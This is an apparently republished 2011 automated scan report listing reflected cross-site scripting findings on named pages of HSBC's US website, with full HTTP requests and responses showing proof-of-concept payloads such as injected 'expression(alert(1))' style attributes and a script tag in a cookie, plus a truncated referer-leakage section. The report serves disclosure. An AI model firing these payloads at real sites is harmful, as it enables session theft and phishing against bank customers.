XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, GHDB, www.us.hsbc.com

Report generated by XSS.CX at Fri Jul 08 11:14:49 CDT 2011.

HSBC Best Practices Listing on XSS.CX Blog 7/12/2011. Hoyt LLC Research comments that all Web Sites have Bugs and its how those risks are managed that define Best or Worst Practices and further observe that hsbc.com has an external facing Vulnerability Management Program that equates to Best Practices in our opinion.

Loading

1. Cross-site scripting (reflected)

1.1. https://www.us.hsbc.com/1/2/3/personal/apply [ceprod parameter]

1.2. https://www.us.hsbc.com/1/2/3/personal/apply [code parameter]

1.3. https://www.us.hsbc.com/1/2/3/personal/apply [prodtype parameter]

1.4. https://www.us.hsbc.com/1/2/3/personal/apply [prodtype parameter]

1.5. https://www.us.hsbc.com/1/2/3/personal/insurance/utilities/getquote [mc_id parameter]

1.6. https://www.us.hsbc.com/1/2/3/personal/insurance/utilities/getquote [mc_id parameter]

1.7. https://www.us.hsbc.com/1/2/oao [code parameter]

1.8. https://www.us.hsbc.com/1/2/oao [promoprod parameter]

1.9. https://www.us.hsbc.com/1/2/3/personal/apply [mkt_code cookie]

2. Cross-domain Referer leakage

2.1. https://www.us.hsbc.com/1/2/3/personal/apply

2.2. https://www.us.hsbc.com/1/2/3/personal/insurance/utilities/getquote

2.3. https://www.us.hsbc.com/1/2/3/personal/online-services/personal-internet-banking/registration/pib-registration

2.4. https://www.us.hsbc.com/1/2/oao

3. Cross-domain script include

4. Cacheable HTTPS response

5. Content type incorrectly stated

6. SSL certificate



1. Cross-site scripting (reflected)  next
There are 9 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. https://www.us.hsbc.com/1/2/3/personal/apply [ceprod parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://www.us.hsbc.com
Path:   /1/2/3/personal/apply

Issue detail

The value of the ceprod request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 49374"style%3d"x%3aexpression(alert(1))"da553696753 was submitted in the ceprod parameter. This input was echoed as 49374"style="x:expression(alert(1))"da553696753 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /1/2/3/personal/apply?code=MIW0000314&WT.ac=HBUS_MIW0000314&ceprod=MMX349374"style%3d"x%3aexpression(alert(1))"da553696753 HTTP/1.1
Host: www.us.hsbc.com
Connection: keep-alive
Referer: http://www.us.hsbc.com/1/2/3/personal/checking
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.77 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: CAMToken=/yH9V+DqiXBXZS2kGZFaaiatplY=; US-us.hsbc.com-VO=99162540.21248.0000; HSBC_COOKIEMI=34ebe780-a978-11e0-aa8a-000401060604; USIB2G=0000v6VOrmCAM1PBl-3ifUigWqK:14goqma50; SCM_COOKIE=uid=0|val=m7e%2FaaZaQhL1C2gNe7%2BBLi6APzAIQxfTCQeMRdBLYUs3UuKASB394Q%3D%3D; mkt_code=CSM0001757; account_access_selected=1; WT_FPC=id=173.193.214.243-4264770832.30162308:lv=1310158558591:ss=1310157474021

Response

HTTP/1.1 200 OK
Date: Fri, 08 Jul 2011 15:59:21 GMT
Server: IBM_HTTP_Server
Cache-Control: private
Cache-Control: max-age=60
Expires: Fri, 08 Jul 2011 16:00:21 GMT
Vary: User-Agent,Cookie
S: hbus-vo502_2
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Content-Language: en
Content-Length: 22805

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">


   <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
   <meta http-equiv="Content-Type" content=
...[SNIP]...
<form method="POST" NAME='ibLogonForm' action="/1/2/?idv_cmd=idv.Authentication&Prodcode=MMX349374"STYLE="X:EXPRESSION(ALERT(1))"DA553696753&code=CSM0001792">
...[SNIP]...

1.2. https://www.us.hsbc.com/1/2/3/personal/apply [code parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://www.us.hsbc.com
Path:   /1/2/3/personal/apply

Issue detail

The value of the code request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 83b3f"style%3d"x%3aexpression(alert(1))"865e8658f039f2f85 was submitted in the code parameter. This input was echoed as 83b3f"style="x:expression(alert(1))"865e8658f039f2f85 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.

Request

GET /1/2/3/personal/apply?code=MIW000033983b3f"style%3d"x%3aexpression(alert(1))"865e8658f039f2f85&WT.ac=HBUS_MIW0000339&prodtype=cd&renderableItem=%2Fshow%2F70 HTTP/1.1
Accept: text/html, application/xhtml+xml, */*
Accept-Language: en-US
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Accept-Encoding: gzip, deflate
Host: www.us.hsbc.com
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: CAMToken=DIexf7XDbHzUizG4siLT0lzyq4I=; USIB2G=0000mP1ObmRXQmEGjWOhAUSJpll:14goias2s; HSBC_COOKIEMI=8534daa0-a97b-11e0-a4bc-000401050208; SCM_COOKIE=uid=0|val=m7e%2FaaZaQhL1C2gNe7%2BBLn4fyXiwQYH2Wu2hyvJOIEBlufDvinHVqA%3D%3D; US-us.hsbc.com-VO=65608108.21248.0000; mkt_code=MIW0000339; WT_FPC=id=2c27b961f08fde85aa01310158889623:lv=1310158889623:ss=1310158889623

Response

HTTP/1.1 200 OK
Date: Fri, 08 Jul 2011 16:03:04 GMT
Server: IBM_HTTP_Server
Cache-Control: private
Cache-Control: max-age=60
Expires: Fri, 08 Jul 2011 16:04:04 GMT
Vary: User-Agent,Cookie
S: hbus-vo501_2
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Content-Language: en
Content-Length: 23254

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">


   <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
   <meta http-equiv="Content-Type" content=
...[SNIP]...
<form method="POST" NAME='ibLogonForm' action="/1/2/?idv_cmd=idv.Authentication&prodtype=cd&code=MIW000033983b3f"style="x:expression(alert(1))"865e8658f039f2f85">
...[SNIP]...

1.3. https://www.us.hsbc.com/1/2/3/personal/apply [prodtype parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://www.us.hsbc.com
Path:   /1/2/3/personal/apply

Issue detail

The value of the prodtype request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d2291"style%3d"x%3aexpression(alert(1))"fd649d38d685c9300 was submitted in the prodtype parameter. This input was echoed as d2291"style="x:expression(alert(1))"fd649d38d685c9300 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.

Request

GET /1/2/3/personal/apply?code=MIW0000339&WT.ac=HBUS_MIW0000339&prodtype=cdd2291"style%3d"x%3aexpression(alert(1))"fd649d38d685c9300&renderableItem=%2Fshow%2F70 HTTP/1.1
Accept: text/html, application/xhtml+xml, */*
Accept-Language: en-US
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Accept-Encoding: gzip, deflate
Host: www.us.hsbc.com
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: CAMToken=DIexf7XDbHzUizG4siLT0lzyq4I=; USIB2G=0000mP1ObmRXQmEGjWOhAUSJpll:14goias2s; HSBC_COOKIEMI=8534daa0-a97b-11e0-a4bc-000401050208; SCM_COOKIE=uid=0|val=m7e%2FaaZaQhL1C2gNe7%2BBLn4fyXiwQYH2Wu2hyvJOIEBlufDvinHVqA%3D%3D; US-us.hsbc.com-VO=65608108.21248.0000; mkt_code=MIW0000339; WT_FPC=id=2c27b961f08fde85aa01310158889623:lv=1310158889623:ss=1310158889623

Response

HTTP/1.1 200 OK
Date: Fri, 08 Jul 2011 16:04:20 GMT
Server: IBM_HTTP_Server
Cache-Control: private
Cache-Control: max-age=60
Expires: Fri, 08 Jul 2011 16:05:20 GMT
Vary: User-Agent,Cookie
S: hbus-vo501_2
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Content-Language: en
Content-Length: 23059

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">


   <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
   <meta http-equiv="Content-Type" content=
...[SNIP]...
<form method="POST" NAME='ibLogonForm' action="/1/2/?idv_cmd=idv.Authentication&prodtype=cdd2291"style="x:expression(alert(1))"fd649d38d685c9300&code=MIW0000339">
...[SNIP]...

1.4. https://www.us.hsbc.com/1/2/3/personal/apply [prodtype parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://www.us.hsbc.com
Path:   /1/2/3/personal/apply

Issue detail

The value of the prodtype request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7aed9"style%3d"x%3aexpression(alert(1))"431097e3736 was submitted in the prodtype parameter. This input was echoed as 7aed9"style="x:expression(alert(1))"431097e3736 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /1/2/3/personal/apply?code=MIW0000339&WT.ac=HBUS_MIW0000339&prodtype=cd7aed9"style%3d"x%3aexpression(alert(1))"431097e3736 HTTP/1.1
Host: www.us.hsbc.com
Connection: keep-alive
Referer: http://www.us.hsbc.com/1/2/3/personal/savings
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.77 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: CAMToken=/yH9V+DqiXBXZS2kGZFaaiatplY=; US-us.hsbc.com-VO=99162540.21248.0000; HSBC_COOKIEMI=34ebe780-a978-11e0-aa8a-000401060604; USIB2G=0000v6VOrmCAM1PBl-3ifUigWqK:14goqma50; SCM_COOKIE=uid=0|val=m7e%2FaaZaQhL1C2gNe7%2BBLi6APzAIQxfTCQeMRdBLYUs3UuKASB394Q%3D%3D; mkt_code=CSM0001757; account_access_selected=1; WT_FPC=id=173.193.214.243-4264770832.30162308:lv=1310158562015:ss=1310157474021

Response

HTTP/1.1 200 OK
Date: Fri, 08 Jul 2011 15:59:17 GMT
Server: IBM_HTTP_Server
Cache-Control: private
Cache-Control: max-age=60
Expires: Fri, 08 Jul 2011 16:00:17 GMT
Vary: User-Agent,Cookie
S: hbus-vo502_2
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Content-Language: en
Content-Length: 22718

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">


   <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
   <meta http-equiv="Content-Type" content=
...[SNIP]...
<form method="POST" NAME='ibLogonForm' action="/1/2/?idv_cmd=idv.Authentication&prodtype=cd7aed9"style="x:expression(alert(1))"431097e3736&code=CSM0001792">
...[SNIP]...

1.5. https://www.us.hsbc.com/1/2/3/personal/insurance/utilities/getquote [mc_id parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://www.us.hsbc.com
Path:   /1/2/3/personal/insurance/utilities/getquote

Issue detail

The value of the mc_id request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9c04f"style%3d"x%3aexpression(alert(1))"c9d7378e384 was submitted in the mc_id parameter. This input was echoed as 9c04f"style="x:expression(alert(1))"c9d7378e384 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /1/2/3/personal/insurance/utilities/getquote?SCMCLP=84e63%00%0d%0a430fa57559&x=&mc_id=909TKDWU49c04f"style%3d"x%3aexpression(alert(1))"c9d7378e384&code=CSM0001757&WT.ac=HBUS_CSM0001757&product=pchk HTTP/1.1
Host: www.us.hsbc.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.77 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: CAMToken=/yH9V+DqiXBXZS2kGZFaaiatplY=; US-us.hsbc.com-VO=99162540.21248.0000; HSBC_COOKIEMI=34ebe780-a978-11e0-aa8a-000401060604; USIB2G=0000v6VOrmCAM1PBl-3ifUigWqK:14goqma50; SCM_COOKIE=uid=0|val=m7e%2FaaZaQhL1C2gNe7%2BBLi6APzAIQxfTCQeMRdBLYUs3UuKASB394Q%3D%3D; account_access_selected=1; mkt_code=CSM0001792; oao_brand=retail%7Cstart; WT_FPC=id=173.193.214.243-4264770832.30162308:lv=1310158691450:ss=1310157474021

Response

HTTP/1.1 200 OK
Date: Fri, 08 Jul 2011 16:00:35 GMT
Server: IBM_HTTP_Server
Cache-Control: private
Cache-Control: max-age=60
Expires: Fri, 08 Jul 2011 16:01:35 GMT
Vary: User-Agent,Cookie
S: hbus-vo502_2
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Content-Language: en
Content-Length: 7922

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">


   <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
   <meta http-equiv="Content-Type" content="
...[SNIP]...
<meta http-equiv="refresh" content="0; URL=https://insurance.hsbcusa.com/quotal/simple-term-hsbc.cfm?mc_id=909TKDWU49c04f"style="x:expression(alert(1))"c9d7378e384&agentid=9100&redirbank=1&trkid=99999" />
...[SNIP]...

1.6. https://www.us.hsbc.com/1/2/3/personal/insurance/utilities/getquote [mc_id parameter]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   https://www.us.hsbc.com
Path:   /1/2/3/personal/insurance/utilities/getquote

Issue detail

The value of the mc_id request parameter is copied into an HTML comment. The payload 182d6-->fe8b6e40038 was submitted in the mc_id parameter. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to can close the open HTML comment and return to a plain text context. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /1/2/3/personal/insurance/utilities/getquote?SCMCLP=84e63%00%0d%0a430fa57559&x=&mc_id=909TKDWU4182d6-->fe8b6e40038&code=CSM0001757&WT.ac=HBUS_CSM0001757&product=pchk HTTP/1.1
Host: www.us.hsbc.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.77 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: CAMToken=/yH9V+DqiXBXZS2kGZFaaiatplY=; US-us.hsbc.com-VO=99162540.21248.0000; HSBC_COOKIEMI=34ebe780-a978-11e0-aa8a-000401060604; USIB2G=0000v6VOrmCAM1PBl-3ifUigWqK:14goqma50; SCM_COOKIE=uid=0|val=m7e%2FaaZaQhL1C2gNe7%2BBLi6APzAIQxfTCQeMRdBLYUs3UuKASB394Q%3D%3D; account_access_selected=1; mkt_code=CSM0001792; oao_brand=retail%7Cstart; WT_FPC=id=173.193.214.243-4264770832.30162308:lv=1310158691450:ss=1310157474021

Response

HTTP/1.1 200 OK
Date: Fri, 08 Jul 2011 16:00:35 GMT
Server: IBM_HTTP_Server
Cache-Control: private
Cache-Control: max-age=60
Expires: Fri, 08 Jul 2011 16:01:35 GMT
Vary: User-Agent,Cookie
S: hbus-vo502_2
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Content-Language: en
Content-Length: 7866

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">


   <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
   <meta http-equiv="Content-Type" content="
...[SNIP]...
<script language="javascript" type="text/javascript">
alert("0mc_id=909TKDWU4182d6-->fe8b6e40038&agentid=9100&redirbank=1&trkid=99999");
</script>
...[SNIP]...

1.7. https://www.us.hsbc.com/1/2/oao [code parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://www.us.hsbc.com
Path:   /1/2/oao

Issue detail

The value of the code request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 68ae0"style%3d"x%3aexpression(alert(1))"f53eb6f2fb was submitted in the code parameter. This input was echoed as 68ae0"style="x:expression(alert(1))"f53eb6f2fb in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /1/2/oao?promoprod=MMX3&code=CSM000179268ae0"style%3d"x%3aexpression(alert(1))"f53eb6f2fb HTTP/1.1
Host: www.us.hsbc.com
Connection: keep-alive
Referer: https://www.us.hsbc.com/1/2/3/personal/apply?code=CSM0001792&WT.ac=HBUS_CSM0001792&ceprod=MMX3
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.77 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: CAMToken=/yH9V+DqiXBXZS2kGZFaaiatplY=; US-us.hsbc.com-VO=99162540.21248.0000; HSBC_COOKIEMI=34ebe780-a978-11e0-aa8a-000401060604; USIB2G=0000v6VOrmCAM1PBl-3ifUigWqK:14goqma50; SCM_COOKIE=uid=0|val=m7e%2FaaZaQhL1C2gNe7%2BBLi6APzAIQxfTCQeMRdBLYUs3UuKASB394Q%3D%3D; account_access_selected=1; mkt_code=CSM0001792; WT_FPC=id=173.193.214.243-4264770832.30162308:lv=1310158596127:ss=1310157474021

Response

HTTP/1.1 200 OK
Date: Fri, 08 Jul 2011 15:59:47 GMT
Server: IBM_HTTP_Server
Cache-Control: private
Cache-Control: max-age=60
Expires: Fri, 08 Jul 2011 16:00:47 GMT
Vary: User-Agent,Cookie
Content-Length: 6254
S: hbus-vo502_2
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Content-Language: en

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">


   <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
   <meta http-equiv="Content-Type" content="
...[SNIP]...
<meta http-equiv="refresh" content="0; URL=https://quickaccount.us.hsbc.com/jsp/oao/relc/cashedge/oao_index.jsp?homeid=99992052&promoprod=MMX3&code=CSM000179268ae0"style="x:expression(alert(1))"f53eb6f2fb&productcode=CD50&productcode=CD15&productcode=CD13&productcode=CD11&productcode=CD40&productcode=CD35&productcode=CD08&productcode=CD07&productcode=CD30&productcode=CD04&productcode=CD20&productcode=P
...[SNIP]...

1.8. https://www.us.hsbc.com/1/2/oao [promoprod parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://www.us.hsbc.com
Path:   /1/2/oao

Issue detail

The value of the promoprod request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bd08b"style%3d"x%3aexpression(alert(1))"760a2e2363b was submitted in the promoprod parameter. This input was echoed as bd08b"style="x:expression(alert(1))"760a2e2363b in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /1/2/oao?promoprod=MMX3bd08b"style%3d"x%3aexpression(alert(1))"760a2e2363b&code=CSM0001792 HTTP/1.1
Host: www.us.hsbc.com
Connection: keep-alive
Referer: https://www.us.hsbc.com/1/2/3/personal/apply?code=CSM0001792&WT.ac=HBUS_CSM0001792&ceprod=MMX3
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.77 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: CAMToken=/yH9V+DqiXBXZS2kGZFaaiatplY=; US-us.hsbc.com-VO=99162540.21248.0000; HSBC_COOKIEMI=34ebe780-a978-11e0-aa8a-000401060604; USIB2G=0000v6VOrmCAM1PBl-3ifUigWqK:14goqma50; SCM_COOKIE=uid=0|val=m7e%2FaaZaQhL1C2gNe7%2BBLi6APzAIQxfTCQeMRdBLYUs3UuKASB394Q%3D%3D; account_access_selected=1; mkt_code=CSM0001792; WT_FPC=id=173.193.214.243-4264770832.30162308:lv=1310158596127:ss=1310157474021

Response

HTTP/1.1 200 OK
Date: Fri, 08 Jul 2011 15:59:25 GMT
Server: IBM_HTTP_Server
Cache-Control: private
Cache-Control: max-age=60
Expires: Fri, 08 Jul 2011 16:00:25 GMT
Vary: User-Agent,Cookie
Content-Length: 6255
S: hbus-vo502_2
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Content-Language: en

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">


   <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
   <meta http-equiv="Content-Type" content="
...[SNIP]...
<meta http-equiv="refresh" content="0; URL=https://quickaccount.us.hsbc.com/jsp/oao/relc/cashedge/oao_index.jsp?homeid=99992052&promoprod=MMX3BD08B"STYLE="X:EXPRESSION(ALERT(1))"760A2E2363B&code=CSM0001792&productcode=CD50&productcode=CD15&productcode=CD13&productcode=CD11&productcode=CD40&productcode=CD35&productcode=CD08&productcode=CD07&productcode=CD30&productcode=CD04&productcode=CD
...[SNIP]...

1.9. https://www.us.hsbc.com/1/2/3/personal/apply [mkt_code cookie]  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://www.us.hsbc.com
Path:   /1/2/3/personal/apply

Issue detail

The value of the mkt_code cookie is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3403e"><script>alert(1)</script>544331fbf13 was submitted in the mkt_code cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /1/2/3/personal/apply?code=MIW0000339&WT.ac=HBUS_MIW0000339&prodtype=cd HTTP/1.1
Host: www.us.hsbc.com
Connection: keep-alive
Referer: http://www.us.hsbc.com/1/2/3/personal/savings
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.77 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: CAMToken=/yH9V+DqiXBXZS2kGZFaaiatplY=; US-us.hsbc.com-VO=99162540.21248.0000; HSBC_COOKIEMI=34ebe780-a978-11e0-aa8a-000401060604; USIB2G=0000v6VOrmCAM1PBl-3ifUigWqK:14goqma50; SCM_COOKIE=uid=0|val=m7e%2FaaZaQhL1C2gNe7%2BBLi6APzAIQxfTCQeMRdBLYUs3UuKASB394Q%3D%3D; mkt_code=CSM00017573403e"><script>alert(1)</script>544331fbf13; account_access_selected=1; WT_FPC=id=173.193.214.243-4264770832.30162308:lv=1310158562015:ss=1310157474021

Response

HTTP/1.1 200 OK
Date: Fri, 08 Jul 2011 15:59:23 GMT
Server: IBM_HTTP_Server
Cache-Control: private
Cache-Control: max-age=60
Expires: Fri, 08 Jul 2011 16:00:23 GMT
Vary: User-Agent,Cookie
S: hbus-vo502_2
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Content-Language: en
Content-Length: 22757

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">


   <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
   <meta http-equiv="Content-Type" content=
...[SNIP]...
<form method="POST" NAME='ibLogonForm' action="/1/2/?idv_cmd=idv.Authentication&prodtype=cd&code=CSM00017573403e"><script>alert(1)</script>544331fbf13">
...[SNIP]...

2. Cross-domain Referer leakage  previous  next
There are 4 instances of this issue:

Issue background

When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.

If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.

You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.

Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.

Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.

Issue remediation

The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.


2.1. https://www.us.hsbc.com/1/2/3/personal/apply  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://www.us.hsbc.com
Path:   /1/2/3/personal/apply

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Request

